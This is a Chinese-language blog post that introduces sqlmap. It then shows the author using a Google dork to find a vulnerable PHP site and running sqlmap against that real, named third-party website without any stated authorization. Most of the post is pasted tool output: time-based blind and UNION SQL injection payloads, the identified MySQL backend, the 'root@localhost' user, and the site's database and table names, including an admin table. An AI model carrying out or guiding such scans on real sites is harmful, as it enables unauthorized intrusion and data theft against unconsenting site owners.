一 什么是sqlmap
1 sqlmap is an open source penetration testing tool that automates the 2 process of detecting and exploiting SQL injection flaws and taking over of 3 database servers. It comes with a powerful detection engine, many niche 4 features for the ultimate penetration tester and a broad range of switches 5 lasting from database fingerprinting, over data fetching from the 6 database, 7 to accessing the underlying file system and executing commands on the 8 operating system via out-of-band connections.
sqlmap 是一个开源的自动探测和发现sql注入漏洞以及拿下数据库服务器的工具.它有一个强大的探测引擎,许多有些的特性支持探测服务器以及拿下数据库服务器.
** 简言之 sqlmap 是个拿站工具.
二 安装.
python 2.6 或2.7 ,mark 只是这两个主版本.sqlmap 安装可以用easy_install 或者用git clone 从仓库拿.
三 寻站
google hack 啊, inurl:\".php\?id=
就试下第二个吧.www.cowinbio.com/about/index.php?id=1
开干
1 blind (heavy query)' injectable 2 [10:07:47] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns' 3 [10:07:47] [INFO] automatically extending ranges for UNION query injection tech 4 ique tests as there is at least one other (potential) technique found 5 [10:07:49] [INFO] target URL appears to be UNION injectable with 2 columns 6 [10:07:49] [WARNING] combined UNION/error-based SQL injection case found on col 7 mn 1. sqlmap will try to find another column with better characteristics 8 [10:07:49] [INFO] GET parameter 'id' is 'Generic UNION query (NULL) - 1 to 20 c 9 lumns' injectable 10 GET parameter 'id' is vulnerable. Do you want to keep testing the others (if an 11 )? [y/N] n 12 sqlmap identified the following injection point(s) with a total of 2626 HTTP(s) 13 requests: 14 --- 15 Parameter: id (GET) 16 Type: AND/OR time-based blind
然后
1 _ 2 ___ ___| |_____ ___ ___ {1.0-dev-c6d4217} 3 |_ -| . | | | .'| . | 4 |___|_ |_|_|_|_|__,| _| 5 |_| |_| http://sqlmap.org 6 7 [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutu 8 consent is illegal. It is the end user's responsibility to obey all applicabl 9 local, state and federal laws. Developers assume no liability and are not resp 10 sible for any misuse or damage caused by this program 11 12 [*] starting at 10:15:04 13 14 you provided 'MySQL' as a back-end DBMS, but from a past scan information on t 15 target URL sqlmap assumes the back-end DBMS is 'mysql <5.0.11'. Do you really 16 ant to force the back-end DBMS value? [y/N] y 17 [10:15:22] [INFO] testing connection to the target URL 18 [10:15:22] [WARNING] there is a DBMS error found in the HTTP response body whi 19 could interfere with the results of the tests 20 [10:15:22] [INFO] checking if the target is protected by some kind of WAF/IPS/ 21 S 22 sqlmap resumed the following injection point(s) from stored session: 23 --- 24 Parameter: id (GET) 25 Type: AND/OR time-based blind 26 Title: MySQL <= 5.0.11 AND time-based blind (heavy query) 27 Payload: id=1 AND 5889=BENCHMARK(5000000,MD5(0x6d6c765a)) 28 29 Type: UNION query 30 Title: Generic UNION query (NULL) - 2 columns 31 Payload: id=-2036 UNION ALL SELECT CONCAT(0x716a767a71,0x674971454552444a7 32 7526b7971714d71694b6b5a506f4c69575349416a704b705458645a554f6d,0x7162766271),NU 33 -- - 34 --- 35 [10:15:23] [INFO] testing MySQL 36 [10:15:23] [INFO] confirming MySQL 37 [10:15:23] [INFO] the back-end DBMS is MySQL 38 web application technology: PHP 5.6.9 39 back-end DBMS: MySQL < 5.0.0 40 [10:15:23] [INFO] fetching current user 41 current user: 'root@localhost'
再之后
_ ___ ___| |_____ ___ ___ {1.0-dev-c6d4217} |_ -| . | | | .'| . | |___|_ |_|_|_|_|__,| _| |_| |_| http://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutua consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not respo sible for any misuse or damage caused by this program [*] starting at 10:16:44 [10:16:44] [INFO] testing connection to the target URL [10:16:44] [WARNING] there is a DBMS error found in the HTTP response body whic could interfere with the results of the tests [10:16:44] [INFO] checking if the target is protected by some kind of WAF/IPS/I S sqlmap resumed the following injection point(s) from stored session: --- Parameter: id (GET) Type: AND/OR time-based blind Title: MySQL <= 5.0.11 AND time-based blind (heavy query) Payload: id=1 AND 5889=BENCHMARK(5000000,MD5(0x6d6c765a)) Type: UNION query Title: Generic UNION query (NULL) - 2 columns Payload: id=-2036 UNION ALL SELECT CONCAT(0x716a767a71,0x674971454552444a79 7526b7971714d71694b6b5a506f4c69575349416a704b705458645a554f6d,0x7162766271),NUL -- - --- [10:16:45] [INFO] testing MySQL [10:16:45] [INFO] confirming MySQL [10:16:45] [INFO] the back-end DBMS is MySQL web application technology: PHP 5.6.9 back-end DBMS: MySQL < 5.0.0 [10:16:45] [INFO] fetching current database current database: 'cw'
1 Database: cw 2 [3 tables] 3 +---------+ 4 | admin | 5 | news | 6 | product | 7 +---------+
就到这里吧. 毕竟是写博客.本人并没有再进一步深入,希望各位看官也不要再进一步尝试了.
另外友情提醒这个站 ,你们不太安全.
郑重声明以上文章本人原创,转载请标明出处. 小三爷 此处谢过了~~.
